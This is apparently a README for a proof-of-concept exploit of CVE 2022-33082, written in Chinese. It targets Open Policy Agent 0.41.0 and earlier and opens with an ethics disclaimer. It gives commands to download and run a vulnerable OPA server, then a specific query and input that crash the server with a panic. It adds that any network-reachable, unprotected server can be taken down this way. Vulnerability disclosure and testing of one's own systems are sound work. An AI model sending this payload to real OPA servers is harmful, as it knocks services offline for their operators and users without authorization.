CVE 2022-33082 漏洞利用

免责声明

此代码仅供道德目的使用——理解漏洞并测试自己的系统或已授权的系统。使用即表示您同意遵循道德规范，如未遵循，本人不承担任何责任。

该漏洞利用适用于 Open Policy Agent (OPA) 0.41.0 及更低版本。在 Linux 上安装 OPA 实例以测试，命令如下：

curl -L -o opa https://openpolicyagent.org/downloads/v0.41.0/opa_linux_amd64_static

chmod +x opa

./opa run --server

然后，在网页浏览器中导航至 localhost:8181。将以下内容输入到相应字段中

查询字段（Go 代码）： p := [input() | input := 1]

{ "input":"put this in the input (json) field!" }

随后网站将崩溃，运行服务器的终端会报告内核恐慌。

影响

任何能够通过网络访问 OPA 0.41.0 或更低版本服务器的人都可以完全使其崩溃。该服务器默认没有密码保护。